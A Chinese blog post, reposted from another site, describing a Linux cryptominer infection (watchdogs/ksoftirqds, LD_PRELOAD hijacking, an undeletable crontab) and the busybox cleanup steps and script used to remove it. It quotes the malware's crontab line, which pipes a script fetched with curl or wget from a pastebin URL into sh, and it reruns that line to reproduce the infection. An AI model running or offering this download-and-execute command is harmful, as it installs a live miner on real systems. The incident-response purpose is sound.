轉自 https://juejin.im/post/5aa0cc476fb9a028d82b5695
最近打開服務變得很慢,然后 CPU,內存占用有達到了100%,打開網站都很慢,這個肯定很反常的,平時cpu不會達到那么高,因此netstat -ntlp 准備看看端口占用是不是有什么異常,有的會看到cpu暫用情況,有的不會顯示,因為木馬屏蔽掉了相關的命令。
好了,不死心。然后我看下定時任務,crontab -l
emmmm,
*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
這個任務我記得我沒有添加定時任務啊,還15分鍾執行一次,我的天。
然后我就打算刪掉這個定時任務,無論是 crontab -r 還是執行修改定時任務配置文件,都無法刪掉這個定時任務
然后網上查下。
直觀表現
- top, ps -ef 無異常進程
- load average 穩步飆升
- netstat 命令被刪除
- 嘗試建立大量22端口, 6379端口的內網連接
- crontab 被添加定時挖礦腳本, 刪除無效
傳播途徑
- jenkins漏洞(or 弱密碼?)侵入
- 嘗試root用戶ssh的免密登錄
- 嘗試redis內網登錄
en,想起前兩天jenkins 升級了軟件,后來就很卡了系統。
准備過程
獲取busybox
因感染病毒后, ls等系統命令會被劫持, 需要busybox替代這些系統命令, 下面提供從busybox官方docker鏡像中提取的靜態編譯版busybox過程.
docker run --rm -itv /tmp/:/tmp busybox:uclibc
cp /bin/busybox /tmp
exit
宿主機即獲取到: /tmp/busybox
復現感染過程(docker環境被root感染模式)
docker與虛擬機環境有區別, 病毒行為會受限
docker run --rm -it -v /tmp:/tmp centos:latest
yum install -y crontabs lsof e2fsprogs
(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
使用busybox代替系統命令
busybox top, busybox ps -ef
此busybox為靜態編譯版, 不依賴so庫, 系統的ls等命令已被通過so庫的preload機制被病毒劫持, ls會導致/etc/cron.d/root文件被刷寫為病毒定時執行命令.
發現比系統命令多兩個進程(進程個數跟cpu核數有關), 耗盡了所有cpu資源
/tmp/ksoftirqds
/tmp/watchdogs
查殺過程(系統命令已不可信, 操作優先采用busybox)
關閉crontab
systemctl stop crond
上傳busybox
chmod +x busybox && mv busybox /sbin/
寫hosts, 屏蔽病毒腳本下載
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
刪除,創建,並鎖定 crontab相關文件
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
備份重要的crontab,然后刪除cron.d目錄的其他文件
busybox rm -rf /etc/cron.d/*
檢查並刪除下面目錄有異常文件
busybox ls /etc/cron.daily
busybox ls /etc/cron.hourly
busybox ls /etc/cron.monthly
busybox ls /etc/cron.weekly
刪除病毒相關執行文件和啟動腳本
/busybox rm /sbin/watchdogs
/busybox rm /usr/sbin/watchdogs
/busybox rm /etc/init.d/watchdogs
busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f
刪除病毒進程
busybox pkill watchdogs
busybox pkill ksoftirqds
刪除被preload的so庫
busybox rm /usr/local/lib/libioset.so
busybox rm /etc/ld.so.preload
busybox rm /etc/ld.so.cache
驗證libioset.so被卸載
lsof |grep usr/local/lib/libioset.so
無輸出, 則該動態鏈接庫被卸載, 直接執行驗證步驟;
有輸出, kill掉占用的進程, 重復執行該步驟;
若反復執行后無法成功卸載該動態鏈接庫, 請執行服務器重啟操作.
重啟服務器
驗證步驟
busybox top # 查看系統負載
crontab -l # 查看是否還有異常任務
busybox chattr -i /etc/cron.d/root # 過一段時間查看是否有異常任務寫入
如果這種方式還是沒清理掉
提供一份清理腳本:
service crond stop
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libioset.so
chattr -i /etc/ld.so.preload
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libioset.so
# 清理異常進程
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
busybox rm -f /tmp/watchdogs
busybox rm -f /etc/cron.d/tomcat
busybox rm -f /etc/cron.d/root
busybox rm -f /var/spool/cron/root
busybox rm -f /var/spool/cron/crontabs/root
busybox rm -f /etc/rc.d/init.d/watchdogs
busybox rm -f /usr/sbin/watchdogs
ldconfig
# 再次清理異常進程
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
# 清理開機啟動項
chkconfig watchdogs off
chkconfig –del watchdogs
service crond start
echo "Done, Please reboot!"